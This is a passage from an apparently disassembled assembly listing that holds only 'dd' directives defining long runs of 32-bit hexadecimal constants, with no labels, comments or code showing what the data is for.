0B1589542h, 85F7BF0Dh, 17EFC8CDh, 6C01910Bh, 0F880EA3Ch dd 60D19181h, 0EE98E74Dh, 5C00C466h, 31DB4301h, 0C0AAEAF2h dd 9E17D5EAh, 4493E1FAh, 2309535Fh, 4C872566h, 0D40C5DA1h dd 9DB23889h, 66A8065Ah, 0D382C931h, 641FEF3Eh, 79AD674Eh dd 3B8849F5h, 0D57C524Ah, 0EAD30502h, 6E5A0FD4h, 60ECC356h dd 65E23394h, 15F807E5h, 0EFF4DD5Bh, 6DE289Ah, 0BE7E4E37h dd 3164C170h, 0E47D7847h, 1CF8FA8Fh, 0CDDD97DEh, 85944F6Ah dd 88C52556h, 94D2E742h, 75CD902Fh, 89118DD6h, 0BC22D706h dd 0AC8C7CE9h, 0DCE7F4DFh, 69AE8C2Ch, 8F199AE7h, 9D7F292Dh dd 0DC67B18Dh, 6E4E532Dh, 25843973h, 8C78377Bh, 59A25A89h dd 0D3F53350h, 0A42309D9h, 564EC946h, 1FDCADAEh, 0B758DFA6h dd 0F0952E4Fh, 61F0EBF0h, 91694A55h, 2F9C78ACh, 0B3F9A0FDh dd 7A5E7083h, 0F0A3D08Eh, 316DBA39h, 93F9D39Fh, 0D324661Ch dd 0E5EF8489h, 60162E29h, 0DC59E2E0h, 0DF7DEC29h, 7080245h dd 0D51CE76Dh, 0A9103949h, 0A969350Dh, 76354D1h, 2E7294E3h dd 9CACBE4Dh, 0BD2318FFh, 65685082h, 0D146559Fh, 0A9CAC066h dd 863D1C5Fh, 0D2B44DD8h, 0CB4A819Dh, 2472435Fh, 0A9B7F5FFh dd 0F15CFD05h, 0A6A2BB02h, 4651EF32h, 7798C6A4h, 0A616424Ch dd 0F6787B41h, 4F8942A6h, 0A3B3BA72h, 0CE6E0F91h, 8EE7C969h dd 0D6354A5Eh, 0D6540Fh, 80D23641h, 90545B9Ah, 57CC7C7h dd 2E4D8BAEh, 0ACE8426Ch, 0BDC4DEAFh, 19697EA8h, 2CD1B080h dd 89640F18h, 35D637C7h, 6BB6B36Dh, 35BC0341h, 0B1B70EEDh dd 0CD027E03h, 68B8C7F7h, 2FD69985h, 3766DF14h, 0D7B8D4C4h dd 0FEF9F73Bh, 97E0626Dh, 29DBCC90h, 7E6F3CE8h, 0F6C91B0Ah dd 34484BFh, 1B326440h, 236F8F51h, 0BDCD6BE1h, 0CD1819C0h dd 0B1B9E0E6h, 751B6AA5h, 0E76793B1h, 1FC4C16Ah, 99B1FC10h dd 86A1DDF0h, 3D6FBCBAh, 0CC93F388h, 32CF1328h, 0B257C520h dd 44DFC58Bh, 7DCA0FDAh, 19D471F6h, 3F8C2100h, 0F40937A8h dd 0B18D25C0h, 0CA6DCB0Ah, 60B3BBE2h, 6B9D56C9h, 380B284h dd 0BAC13CEAh, 240B5CCAh, 0C79F12A6h, 0FB009150h, 0A8C3A20Dh dd 9414800Eh, 0D40B328Fh, 2795F220h, 0AB0F99F0h, 708179BCh dd 12D4F25Bh, 0FAB109C0h, 0BE7BE0C4h, 97C8E92Fh, 0E177ABABh dd 91556B5Bh, 0AF5F34BEh, 0F42E907Ah, 815BE22Fh, 0A1042BFBh dd 2384547Eh, 7A964D52h, 836FBEFEh, 0FAABB1Ah, 0FFCD8F01h dd 365C2FD1h, 7AE0F02Ah, 4C878815h, 6E3B51BAh, 0EF1F7185h dd 1A63E680h, 0A8372DB8h, 0F661D366h, 0D8CD0040h, 0B2FB1B9Ch dd 56376B83h, 65C7C524h, 1F773009h, 9F6EE18Bh, 0A02EA1C5h dd 9EE439FAh, 0A712EF9Ch, 941E0CC0h, 6E183FF7h, 0D0649CF5h dd 0F2F1EDA3h, 0B717648Ah, 0FC2507A6h, 665BC87Ah, 6786683Dh dd 0FE7408AEh, 0FA99EE43h, 0DEE9325Ah, 0D95790BBh, 0D92204AAh dd 0CA0B6DB9h, 0E03ED7C6h, 68741D13h, 16DDBFFFh, 0A1C547C8h dd 9DAB729Ch, 2AF14C43h, 0F292F64Ah, 618F19AAh, 1E531619h dd 53826657h, 0C7DE03CAh, 8F06697Eh, 897FCECFh, 5F8D3460h dd 9DB86B97h, 685A9498h, 1F36B413h, 0A99B05BDh, 0C7BDAA3Dh dd 0D51E8F95h, 0D727B837h, 9E25887Eh, 6A6C4BBCh, 945777B0h dd 0CC8DC7A4h, 72F43325h, 2CD42AC6h, 22DC4EE7h, 0C28F9535h dd 0F3EC8B8h, 0A3585E98h, 7876E2Bh, 4C5ACB6Ah, 52BC7D47h dd 0D107F8F5h, 9657B198h, 0C805CB08h, 85B03FC2h, 24D2151h dd 370AA3F8h, 0C1F45BD1h, 0D292E1AEh, 3097311Dh, 7B7ACCD0h dd 7C183DC8h, 0EA04F4FEh, 55A0D98Fh, 4E063D63h, 0B00F7EFCh dd 7D322397h, 0CFBFBB4Dh, 0E2AEBAA5h, 0E567B36Dh, 98048D91h dd 0ED9A82D1h, 0AFC59A6Dh, 8E79066Bh, 31B7B49Fh, 6529EB87h dd 127CDFCCh, 5BCBF463h, 0E9309B9Ch, 0F346987Eh, 5B4C136Ch dd 25D5FC84h, 6C8D8030h, 0F6804A51h, 7BA16ECFh, 0CED8223Ch dd 0F2BCE2D7h, 0F0C68B7Bh, 0DAE75446h, 55AE7F2Fh, 7E88D218h dd 0FCB208E5h, 31311671h, 0A19AAC38h, 95B4BC46h, 6A83F837h dd 868FE4B2h, 92417BFDh, 0AD5FF1E5h, 0C830BC50h, 7C231564h dd 3BA78089h, 0E1553966h, 1AFBBD3Bh, 11B7A0CAh, 0D11B4755h dd 71EF4945h, 0B29E227Eh, 342B2A3Eh, 0F7779E21h, 0D41AD448h dd 7DB7BB9Eh, 0A7DD6B3h, 0EE13FF80h, 0FA80584Dh, 9A465C25h dd 0D3C67EA7h, 0C0E44382h, 0BF5D7B36h, 7C356289h, 0C1145791h dd 0A99201CFh, 57266B0Fh, 82F6F17Ah, 5993AA25h, 8F01FBEAh dd 0C5025C2Ch, 5FFF9CCCh, 0CE83B544h, 1783F0DDh, 3C42F4B4h dd 398CE2h, 30ACA26Ch, 1236D8FEh, 0FA7C66B7h, 0F5130C8Eh dd 1904B52Ch, 0AC2EED5Fh dd 0C362CB20h, 0BAC25138h, 746BC484h, 6A48B6B3h, 7AAC8673h dd 0AA8240E0h, 315CDAA7h, 0B5C81265h, 1F3D85BFh, 81DFD7EBh dd 7859F6C9h, 0BE733768h, 2E714A90h, 31E618E9h, 1BA156BEh dd 79F3A789h, 6038245Dh, 199D8FCDh, 0EB3338A6h, 0DCD7FABBh dd 549FF1FCh, 0DA646B78h, 6D4AB988h, 0A58F8966h, 75AB44F0h dd 3191E57Ch, 5D9C28CAh, 3B8AA446h, 70F7BE0h, 0D3C9C7EEh dd 5D31F3C5h, 16FBBAFFh, 746EAB40h, 2C22F0AEh, 0B735B690h dd 4D092ECFh, 7A18889Eh, 7C7A63D1h, 37B02787h, 53339902h dd 979CF868h, 8BA1B103h, 0BAAB6536h, 1D1C3D08h, 0C2C11C6h dd 0E765BDC3h, 0F044CE3h, 0F02AD8CFh, 8BC7116Dh, 0C569CE4Fh dd 0DBF7291Ah, 71CEF11Ah, 0A3A0CFB3h, 0AB5A6AB4h, 5FB369C0h dd 59BFDB8h, 0ACD14646h, 39AB9F91h, 0FEC398B4h, 9AC82976h dd 8EFE24B8h, 8FE546FFh, 79F01846h, 115A06A4h, 0F21D8BB2h dd 12E87BFFh, 0A4199E7Ah, 0DAA5A551h, 52336EB9h, 5CDA107h dd 0E0F343BCh, 994E1804h, 0C2A130BAh, 0D7A0E348h, 30ABE788h dd 8C2F8757h, 3C5403F6h, 0F9136FC6h, 12A35A1Eh, 0B6472B82h dd 4AABEE1Eh, 80D50CEBh, 341A1DA8h, 80523780h, 0EAF0CEE7h dd 0B40DBBFEh, 1FC99967h, 0AD1C0F05h, 895E81BBh, 0B4FBE7DEh dd 78B6DE1Fh, 86500953h, 31B373F6h, 4BDD7C5Ah, 64A3F59Dh dd 0AF05B511h, 0C508C8EAh, 8EA4946Ch, 0F132F525h, 699CA10Dh dd 0BAC60B55h, 0A75D93A1h, 0A92C81E8h, 0D4EA49ECh, 0C8DBA477h dd 0A7E1C0Bh, 0ABF44777h, 0C1EDD248h, 576288B0h, 40029225h dd 0EF54364Ch, 3240EFDAh, 0ADC15F64h, 1075E7D7h, 0CAAF4988h dd 0B1B26295h, 1E93307h, 69409013h, 502B7843h, 1A036540h dd 7FC18299h, 86916193h, 8F086256h, 0C01489F7h, 89D76AF1h dd 4C8B8077h, 0A5150A10h, 4660A768h, 70BF6379h, 0EB838FE3h dd 0BDE0D340h, 6195E098h, 0EFBCD1AFh, 20A2E571h, 16FF9953h dd 85E3500Fh, 9E6FADD4h, 0AB944A86h, 0BF74C0F7h, 0C6D01C10h dd 0D1A292E1h, 68BBDCDAh, 88F71B9h, 350C19Ch, 0DDEA7655h dd 19CD1F7Ah, 59162214h, 87BA29CDh, 37860692h, 0CF59F280h dd 1EE5649Fh, 33DB6235h, 0CD1969B0h, 8A7FAFF5h, 7ED9DB03h dd 615C5898h, 36661FD0h, 855D0BA9h, 772C8B8Dh, 93F39A04h dd 5B6AF923h, 0E8139937h, 2B0F24D0h, 13090DD3h, 0EC2C15h dd 80A92F4Dh, 8D32C6C9h, 0B6D66D7Ch, 646988C5h, 21D9460Ch dd 0BD2F509Dh, 0EECD8EB6h, 7C79C755h, 0AE8220h, 0D53E648Dh dd 0C512FEE2h, 3E527D9Eh, 776E86F1h, 5B54F171h, 0F547535Ch dd 16E2AA0Bh, 6D4EB9A1h, 0CC4D7445h, 159946BFh, 0B6AB84A7h dd 8CCB87A0h, 28633441h, 829053E3h, 704C509h, 66A9D959h dd 54AC4C71h, 6DF5E781h, 49CCA8F0h, 436C1470h, 0A30634C8h dd 0F5BA15E4h, 108B6253h, 3461DEA3h, 971794B1h, 0C154D8FFh dd 0AB65D817h, 0B1387E3Bh, 0DA1BC475h, 0F2B0E1D3h, 70C685B4h dd 0E135F84Ah, 45C55596h, 435A7BE3h, 0F8FC0D0Fh, 0DD2B7CD8h dd 0EA9E030Dh, 1C77F40h, 5747EE13h, 9BD47F85h, 3B8D6FEh dd 5271B069h, 48A1AB15h, 2D772464h, 4B9D6A70h, 4F9758A0h dd 0ED36F6D8h, 0F6D37E75h, 1E8FD8FEh, 0D2D353D4h, 0D2904321h dd 0BCAADCE7h, 0E95035CCh, 685F8712h, 3A3C51CBh, 2573D85Ah dd 71BA9923h, 0EA46816Ch, 9E328D5Bh, 0ECE6AC9h, 0DCAA6830h dd 0F39DD262h, 6DE605EDh, 0C95F8FE4h, 0D0946197h, 18804DE4h dd 0F76E1A22h, 0E7D8166Dh, 0DC8B8D5Dh, 0B7A58BE7h, 0AFD29600h dd 97BABA23h, 58B8240h, 0C88E45D4h, 2DF01617h, 928646E4h dd 52AEC5EAh, 0F7ACE83Fh, 7BC756F8h, 4ADE6DC7h, 22D06C99h dd 0CC7F5B96h, 1313F87h, 0C98CC0E9h, 17CBAE3Dh, 8BF88377h dd 0E9BEDF88h, 0E24D2808h, 7916AA05h, 520C6575h, 649D308Eh dd 3001C185h, 6A0D397h, 0FE43FBE5h, 4A5E067Bh, 657AF2E6h dd 0B2246977h, 0B55900FCh, 7446945Ah, 42079D6Eh, 4E0C4339h dd 0C2309FB7h, 55B6935Ah, 6BDF8CF7h, 0E518BA03h, 0BCCB7925h dd 32FB7ED2h, 10BDE8EFh, 8DDE37B8h, 3EECE6F2h, 451B3D85h dd 2F83CF46h, 8664D89Dh, 7ED9290Dh, 1522BDA0h, 4A6A55BDh dd 0C32B26B7h, 361B97B0h, 0B5625C9Dh, 393F93B6h, 0F999659Dh dd 4094DCC8h, 6FBF0261h, 6B279CDCh, 62903A95h, 0D354FDB6h dd 24CFAFABh, 0D985927h, 65977C42h, 4D3AF6A1h, 3A69F7BAh dd 8F008021h, 463C6E63h, 11A8D5DBh, 0B4904643h, 0C01490CAh dd 84FDBF2Dh, 0F9F8A684h, 0C8F75F78h, 30229D7Fh, 0D2EEAEEEh dd 1F46BDDh, 0FB140EB8h, 48E67226h, 0F1C03729h, 0B80DAB44h dd 9C70BAF0h, 7C59B82h, 214807DCh, 0C9C50484h, 0AEDB7388h dd 89E25846h, 8FDE0297h, 0BEEAAF84h, 4701E19h, 0FA5F6B7Eh dd 1F377FEAh, 0B59098B6h, 494B9538h, 0D6E51683h, 0B7A9679Fh dd 0B727B332h, 9BEC7BDBh, 4C69A56Bh, 9A1B773Dh, 56384357h dd 3CD2C72Ch, 0D86CB8C7h, 0EC70ABC0h, 0AC0E0ADh, 0E21C3349h dd 1C9AB3A7h, 0B4762875h, 9E498790h, 7FEE8CE5h, 0ED697AE5h dd 4B22FB5h, 84F19DBFh, 1845F178h, 3CC770CDh, 84C81634h dd 8389EF17h, 89849A49h, 0D8BADA10h, 0CC8E097h, 8C203A43h dd 118EBE20h, 4399413h, 0F471751Eh, 0E82FB402h, 0CF1A4E03h dd 9936BBEBh, 59739E8Eh, 0C88280E3h, 0F1A6442Ah, 55AB37CBh dd 0DCC984E9h, 3DB73951h, 72F1B403h, 4802B05Eh, 0D71466F7h dd 698842CFh, 4F5AD966h, 0C354B6Ah, 1B1C4F30h, 87686425h dd 69C0AF7Dh, 3F03DF26h, 0E3EF9E60h, 0F8AEEB17h, 8CF5B7C7h dd 26668C70h, 4CE9125Fh, 0A502EA1Bh, 0A554DB61h, 155050E4h dd 0FD824C4Fh, 9F3D0D86h, 0E2D1A362h, 5084AF9Dh, 43552779h dd 31760BFDh, 2E58F16Eh, 8D71FD17h, 5B79B1C5h, 0BB30CE43h dd 0B0FF248Ch, 80B624ACh, 0A6F815B0h, 36C9D49Eh, 438BF80Fh dd 1782E700h, 1C4FDF48h, 515DC6BFh, 0D8D9C6AFh, 0CF4D2616h dd 265D80EFh, 581283DEh, 97E3A144h, 0A16C383Bh, 3793F5AFh dd 0CA157158h, 585C49ADh, 0F22A122Ah, 6A77207Eh, 7E6AF4DFh dd 0DD43AA85h, 8590C92Fh, 0B79D483h, 0A6928B6Fh, 6168E103h dd 653C3C5Fh, 0DE96292Dh, 348E98DCh, 1D1741E4h, 89DB700Fh dd 0A417ED77h, 3CF365D5h, 0B108CEABh, 7D50A4Eh, 0B47E23EBh dd 0CACB581Fh, 6C389EA8h, 0A42E740Ch, 1BBB9E76h, 4094C190h dd 9D0CA8C3h, 399FF7C5h, 0B6A9392Ah, 0EF43FFCBh, 0D19127FEh dd 1C0D02DCh, 0A65AF6DEh, 6F1538A8h, 0D79F54C5h, 8A9D6A8Eh dd 768B1F2Dh, 5E9B5B89h, 9961E123h, 15FEF245h, 7971FE49h dd 0FEF78421h, 1D538E14h, 11AFB53Eh, 61B72291h, 68485432h dd 0CCDB8D71h, 0CA499FAAh, 31613591h, 421429FAh, 0B9174770h dd 1D070882h, 3EC0504Fh, 5CC85F6Ah, 0D304604Eh, 789AA02Ah dd 0A4836266h, 8977C1Fh, 481A43CEh, 9429C363h, 0BF9A9043h dd 0B4CABB26h, 0B59BBE72h, 3A1D1D31h, 5B580DE1h, 33764D68h dd 0A41406B8h, 2FE7D449h, 6766FCCCh, 2D7AB68Bh, 0C923AC63h dd 61BEE3CBh, 95F945C8h, 243F5B71h, 3F8F829Dh, 74FE61F3h dd 971E684Dh, 0CCAC8077h, 0F18559C8h, 571B2365h, 0A6F0A780h dd 0ADC9A72Ah, 6665AAF6h, 0C3CB07B8h, 7D34CD1Fh, 4D0C8F26h dd 89849F6Bh, 32FA9582h, 2F05CD1Ch, 58C3EC7h, 7A7B2B21h dd 546DF3D0h, 1DA043C5h, 0F1A34417h, 923EA1E8h, 95244E9Ch dd 73D8E2ACh, 3C3751BCh dd 73777Fh, 0F93D3D6Ah, 0F561AF80h, 548FC5B2h, 876BD4C1h dd 0F871F866h, 0EB9FB519h, 90338E04h, 66BBC64Fh, 3780B754h dd 82B32964h, 8C3912DDh, 2AC2833h, 0BE8AAE39h, 0CB95EE87h dd 5644695Dh, 34968F0h, 0D30D1E88h, 3EBEC092h, 0BB68E1E7h dd 4CB15503h, 32E2E7B9h, 0FA753369h, 0D36C72C1h, 0EB99765Ah dd 78F0Dh, 0C673914h, 0D56F273Bh, 0FB73FD42h, 0E3CC4132h dd 0C258640Fh, 793FD131h, 6099364Bh, 98EDF052h, 0D5F1DB22h dd 0F04BC6F7h, 0D2F4AEB0h, 6BE26FE3h, 2DEEE14h, 1F105363h dd 9C49DCDBh, 93C1701h, 5F3053AEh, 0A6A15874h, 0F62986CFh dd 0BD4541B1h, 0E09D202Eh, 0B8FA060Ah, 7594C8E0h, 0D99D0D82h dd 0DCDE26FEh, 5546EF2Eh, 2B8642B7h, 98AB4872h, 3D226D2Dh dd 0C3597A71h, 0F8B9F313h, 0D35CBB3Ah, 1A84874Dh, 14605D9Eh dd 7A289FAFh, 610DF182h, 73D4F17Ch, 0FA1E46B0h, 0B68F0B54h dd 0C6923FA6h, 0E0E11D29h, 0A55813DDh, 0CF76B1B9h, 0F54980E4h dd 0D19A7FC1h, 4E81C8CFh, 96647AE9h, 7BE9FC34h, 54D8CAC4h dd 0CB24AA4Bh, 475BA9FCh, 93F79E97h, 0DED1FE60h, 0E2AB6782h dd 4DC1478Eh, 0A6769F56h, 43792FEBh, 0D4615706h, 0F2613023h dd 63F8C4BEh, 0B5EC3BA7h, 24BE9BFAh, 0BC83AE90h, 0E5C8E158h dd 161122B6h, 4F039B81h, 0FD4E9716h, 0F8A4F3F9h, 30A63892h dd 743DAAE3h, 0A3BBE452h, 0CE60A111h, 0D6B4CE05h, 0A2E4DBFAh dd 4E4F2176h, 82C6DF9Fh, 0E3E7F407h, 9A3D4437h, 0A3A498A7h dd 0B822A7BDh, 0F4EE8F0Eh, 0E02B38AAh, 4DFD4C95h, 0DC0E42CCh dd 3B0DF71h, 8DB06666h, 42F4F441h, 149FC29Dh, 57DACAE1h dd 61BAA570h, 7E0529D0h, 39B82FBFh, 5F734E32h, 5EFAB5AEh dd 6404B03h, 2CCA7572h, 7A49463Dh, 2B2305D4h, 4B91C54Bh dd 0E973C88Ch, 95AA7117h, 0B2526FF5h, 7AA4C137h, 0C9272AEEh dd 5E45D2A7h, 0A9B6F211h, 8855289Bh, 0D1993548h, 0CA32C8ADh dd 76B9614Bh, 87EF8764h, 6E9CF7B8h, 0EFE66F01h, 0B56ED7BFh dd 0D074EFD7h, 39D00902h, 4E2CFD4Dh, 3369CE60h, 0D78FB8Ah dd 203FE892h, 6F4324D5h, 0C654C236h, 9F10764Ch, 0FCB159CAh dd 5F3636ABh, 9E4E6D63h, 96F84B7Ch, 0A72FCB42h, 4E3463D5h dd 4663D6C0h, 5A8EE6A8h, 7C2E83C9h, 0C6529D3h, 0A490382Ch dd 4459DC24h, 0DBD2306Ah, 0CC856161h, 0D14AEBB1h, 6B8CE1F9h dd 80321520h, 4312DDEBh, 1174A899h, 0A00932E3h, 6937959Bh dd 0B44FCC43h, 0CF379CD8h, 0C28D8E2Fh, 0CF329DAh, 1AEE9628h dd 5F6E31B9h, 0C88937D7h, 0BF511289h, 63559802h, 2B1ECF78h dd 0FFE3A732h, 0EB5629B9h, 0A8E5E051h, 92CEAD10h, 17C82189h dd 0E5FF9FD2h, 39F64139h, 0F4E5C5DBh, 0F498F7C1h, 6815790Bh dd 544C1CB3h, 38920CB2h, 173B2407h, 0D05EEADBh, 0A516ACE9h dd 3B84BDB9h, 0CC8354BDh, 0B4881DBDh, 0D8515D71h, 32A45CC8h dd 0F849556h, 3799BE2Ch, 936E85EFh, 5CCBFD1Fh, 0A75A3CB3h dd 21CE24B1h, 6114792Fh, 4662ADAAh, 0EA95C437h, 3095F1BDh dd 0D581050Dh, 0D5584CE5h, 210E9529h, 0FC1A9EAAh, 51379ED8h dd 4154BA1Eh, 0BAAF76DCh, 0BEAE19DFh, 0AB01BBFAh, 0E8DFF93Ah dd 92B7F0BAh, 0DB961078h, 584DD2F0h, 0E4471F0Bh, 0C2D019B9h dd 9806337Bh, 9BBF23CEh, 6B9A730Eh, 0B4DD99F4h, 49ECF976h dd 3C0D7FE0h, 0B4A53D23h, 0F1D2F685h, 182DEB42h, 0E25F05FDh dd 3FE7CFB9h, 0F72CC514h, 0E300C246h, 81EBB018h, 7B37D4D6h dd 0F27FF5Eh, 7DAA7D4Ah, 5A7BD9A4h, 4F764FFFh, 7E154641h dd 9A4C253Eh, 85D64384h, 567039F1h, 4D9735C4h, 21196576h dd 26692D8Dh, 339B3235h, 83DE5E76h, 1C60BE48h, 0BAAFA3E2h dd 0B90545B9h, 0A7ED2142h, 801AA0D3h, 0CCB28FEh, 8E984770h dd 58C09441h, 1285540Ch, 86E373CEh, 0A25B3265h, 0BB4F56DAh dd 8A713430h, 4C135484h, 0E58A1FD6h, 0FB57E255h, 0E564C808h dd 82AA985Ch, 0CB64C7E3h, 4706C9CAh, 351BD836h, 0DB4743F9h dd 15FF0749h, 137D9AADh, 42412626h, 0D050CB3Ch, 5ADEA5D1h dd 3C1FC73Fh, 0B1ABF0F2h, 0BC4DAAB1h, 966AA546h, 9AB8C1CCh dd 7C11EF96h, 0F685602Ah, 0B13FF6D8h, 891E09D7h, 4FFE38BEh dd 0C7F8B83h, 0ACF01A84h, 6A148DBEh, 0DA5ABC73h, 0C2EA87D3h dd 0DE4C536Ch, 9A712DE3h, 0A962E93Ch, 79D11823h, 4C6F89C4h dd 0C0B89550h, 49B17FA2h, 416505B0h, 97B0DB43h, 0B8FD65Fh dd 0CE5070F9h, 0B2F501CEh, 0F8D55CD4h, 7140CA3Ah, 0BDA1C81Dh dd 0ADFEE424h, 0E0E5B08Eh, 2CE44419h, 6C9A6220h, 9B27F1E3h dd 16610025h, 61B7B0D5h, 2A2D4D6Ch, 0DCB69E19h, 695E34B5h dd 8EA04DF3h, 85F12895h, 9F383099h, 0EE72A08h, 0B406E156h dd 9C829280h, 0AC1D15AAh, 5FB7F4D8h, 5B28696Ch, 60C8E796h dd 2FDA4A68h, 0FBA10A7Ch, 7F0F2B0Ah, 0B2A9078Ch, 0E102A735h dd 0E51BE631h, 0C6DC8480h, 0F6DBBDF2h, 7A5D8B51h, 3C67AADDh dd 1ADB35EBh, 0AA09E26h, 0CBA01E80h, 24A0A2DEh, 8EF7AD88h dd 28D20062h, 0E7ED0882h, 3A88DC0Ah, 0CDEC4BF9h, 44B50CFFh dd 0C541977h, 20D2A281h, 5A20946Eh, 870E89B4h, 72F4C47Dh dd 0C56FC733h, 0EFF9865Ah, 8335CE87h, 0C178F3DEh, 2252C78Ah dd 7F3789B3h, 177A3D35h, 756C65A6h, 67FA79DDh, 0E7715B15h dd 5D351C5Eh, 0DD8DABB8h, 0FDD4A849h, 9D290E0h, 8B2493Eh dd 16972366h, 5ECD686h, 2E12D28Eh, 379A14B7h, 0C4524D26h dd 950CF65Fh, 0FD739F00h, 1E9EEE28h, 49009BB6h, 5FAFE64Ah dd 18776093h, 1A6959D8h, 0EE4BF1Ch, 0FFE83D2h, 8A66E9F2h dd 0BD06AA21h, 3940EB9Bh, 37AFCE27h, 6349EF88h, 0B072B9CBh dd 9DAFC4A3h, 2A292530h, 2108E880h, 9C3EA6D4h, 92761087h dd 0CF099339h, 55D8DEEEh, 30801A71h, 98EA46F6h, 0F82AAEF9h dd 127352DCh, 7BB22Fh, 238AEF84h, 0EAB6EFD6h, 1AF3657Bh dd 0A7AD9E5Eh, 31EFE526h, 15686E87h, 684F6D19h, 0D75A6015h dd 12C785F2h, 1B92DF78h, 0DA2EF436h, 0C02EDFB4h, 2BAA30B2h dd 7DC02765h, 2CCF9C6Ah, 4497F2C2h, 0CEA1071Bh, 2985E162h dd 3C2EFFBBh, 51C449C2h, 12781237h, 0F287D00h, 9B1E5915h dd 0C8F35497h, 0F9790C52h, 0D7ADD7B3h, 244B2926h, 6D63880Ch dd 23A56282h, 74AD3522h, 0E3283E51h, 0B7E50C3Ah, 7495C223h dd 9D802FDh, 87C44AA2h, 786737D9h, 0AA303F10h, 5E1CE626h dd 0FFCC1721h, 76E8FD2Ah, 22A2A700h, 9C0635BCh, 6630CAECh dd 911AF894h, 0F5081E4Fh, 0E013CF49h, 619D580Fh, 5C8F8497h dd 9EDE406Ah, 0D80EB070h, 524587D9h, 60C097D0h, 3FC2A15Fh dd 3FF13BAFh, 1221E7F2h, 7F277B40h, 9B38B1E5h, 965C905Ch dd 252F645h, 0B70239CFh, 1F6409D0h, 0CDBB9037h, 8E26F089h dd 170600BDh, 919BA619h, 5223B3FBh, 55EC05F8h, 0F4EEA5FAh dd 8FEE16B8h, 0EC265B57h, 964FF999h, 5FE06598h, 0DE69B7C9h dd 9C8704D8h, 341A3488h, 5018ECD9h, 85058CF2h, 0D94DE1A7h dd 9BA0DEB5h, 278B3FCh, 53B1058h, 1BCD6114h, 95F7FE48h dd 0B4CFC9D9h, 377E1A7Ah, 0AC891079h, 60128E87h, 0C157C02Fh dd 48344809h, 0BF8AF4BDh, 2CFC6480h, 56BCF9A4h, 78840D06h dd 0A2C4A08Bh, 62B3CFE9h, 5BADEADCh, 0CF0C1261h, 0B2DF01A2h dd 0B7BD0090h, 31F45807h, 59BC4D2Ch, 40958ED7h, 0E237CD84h dd 0BC9E440Ch, 3E3B2A53h, 0D75F5D96h, 0EA8BB887h, 4817A22Bh dd 0B3DAEAC7h, 0A84069EEh dd 0AFF7B8D9h, 0BE6E3E29h, 0BE612ADDh, 9063E732h, 4A0991BAh dd 656A974Ch, 0EAD77BBBh, 0C660317Fh, 5FBCACFCh, 0CD689AFEh dd 31ACFA7Ch, 0BC55B315h, 2C2A5366h, 24BEBD75h, 28A948EEh dd 2C1BFBF4h, 1E757DF0h, 0EC76E5A7h, 9D2051ECh, 92CC3E1Eh dd 42DF7E5Dh, 8055D3Fh, 0C8F99205h, 5812F75Eh, 2188346Fh dd 9B156636h, 5B7FAB41h, 0C7FAC541h, 384F866Ah, 0DC60A78Ch dd 9CA25898h, 12E717h, 879EF1A9h, 0C42858B7h, 39E11108h dd 26FF721Bh, 0F5C079F9h, 52575CC4h, 20A1A3F5h, 0A9ACE22Ah dd 75DBDEA9h, 0C3B9DEBh, 29A0C4B4h, 79623271h, 97E5EF34h dd 0E58BC26Fh, 0CF90507Ch, 0D134F087h, 0DFCCE55Ch, 490E80A8h dd 446285D1h, 0EE2C0BA5h, 0E58512D5h, 2FF9925Ch, 1F39CA5Ah dd 76741A1Ah, 64ABDA16h, 0CF771504h, 0A92D523Bh, 0BF62403Eh dd 0E601BFB8h, 0AB57942Fh, 0F46FB992h, 1F94FE98h, 0AFA87B07h dd 4C4F84B4h, 14887F9Bh, 147254B3h, 387F276Dh, 0FF563428h dd 4A26D7FEh, 6C2F0C80h, 3B0CB1DFh, 0B2BA6DA7h, 1CA56FACh dd 64E2CEA2h, 0F4B457BCh, 6124E448h, 0ED15DAFDh, 1422642Ch dd 96D86751h, 2A42E735h, 2FD36206h, 0B8E6999Dh, 8CB762B6h dd 0CA16227Ah, 7F976295h, 1A475F26h, 2A6CE0DBh, 17B8357Dh dd 71B6757Fh, 717FA3B6h, 4375F662h, 98FBD941h, 3F5F9190h dd 2BBEECD5h, 0A12B9D5Eh, 5FC32EA5h, 10BE3DAEh, 7BB5FD1Bh dd 8033C2BFh, 51FDA096h, 3ACD9754h, 1CB13165h, 3814C062h dd 5ED137C8h, 0B8D81C2Ch, 23718235h, 3FAC1BA3h, 0D276035h dd 0CD5182AFh, 0BC0B386Eh, 0B424C7EFh, 53DC6012h, 5C92A5F7h dd 1C9926EEh, 0EA5CC78Fh, 933A5937h, 0F85AA58Bh, 90B2BF81h dd 374A56A0h, 70A9F4C2h, 0F9E13B99h, 0D4B88C9Dh, 4FB487BBh dd 0D14505BEh, 67DA200Fh, 45898E63h, 9432A787h, 7A84ACD5h dd 58235151h, 2126C615h, 0C82B7BA5h, 0EAC644EEh, 0B923837h dd 979AD969h, 0B700A0C5h, 778783EDh, 0BA2DD60Dh, 31686788h dd 7E7BD4D5h, 83B6C9F5h, 9642743Fh, 40BA634Fh, 5AA48DAFh dd 0A5CEC78h, 659E3CF7h, 1AC22A3Ch, 0BF0F4B40h, 0AAFEAE0Eh dd 2CF95078h, 0BD9793CDh, 2460CDB8h, 264C79Dh, 0F26AB1C3h dd 0EC7C5D3Bh, 68BC6D1Ah, 9F5023C4h, 0ED7B5E7Eh, 0D6672C12h dd 5C5F39E1h, 0C4A8B8C1h, 0E5551611h, 277ADC4Bh, 0D600BDA8h dd 0D641BBA2h, 0E04DDCCBh, 0EDE9E9D4h, 80C834F3h, 0D4A66B1Fh dd 9FBA8168h, 7CE0F14Dh, 27145DE0h, 7F6488AAh, 9C264B43h dd 143AABE1h, 0AF4C36F1h, 0C1BBE167h, 5AC5509Bh, 0D4B41074h dd 8117740Fh, 0B7D15EB4h, 2CBBCBA4h, 0B67013A1h, 289F4D4Dh dd 8EA20D28h, 0C968C184h, 15EB6Bh, 0DD2E178Ch, 0F9F99036h dd 7D1487ADh, 0BDB72276h, 0C0B8F243h, 8FBA4CCEh, 0B85E20F5h dd 2219CF41h, 2CDC6E5Eh, 0E3595EF2h, 3132D63Dh, 47C9518Eh dd 0B24782D6h, 89A3DF88h, 0FA34D90Eh, 889EB289h, 0F8E09CDDh dd 41D264C7h, 0B9668087h, 51321761h, 0D87C8833h, 8E340AEBh dd 90FB009h, 62A8A8C6h, 0C2E1E587h, 0AC3101CEh, 0A3E7394Ah dd 0B4FC6E0Eh, 1C166470h, 951DA88Ah, 0E2F07E30h, 55CA81CFh dd 525709DAh, 3B7A949Eh, 0E3559389h, 28DD712Ah, 0F53484D8h dd 139FA9EBh, 0F4DD6D1Ch, 0AF4511A8h, 930FC01Bh, 434E4ABCh dd 12ADDE8Ch, 79397425h, 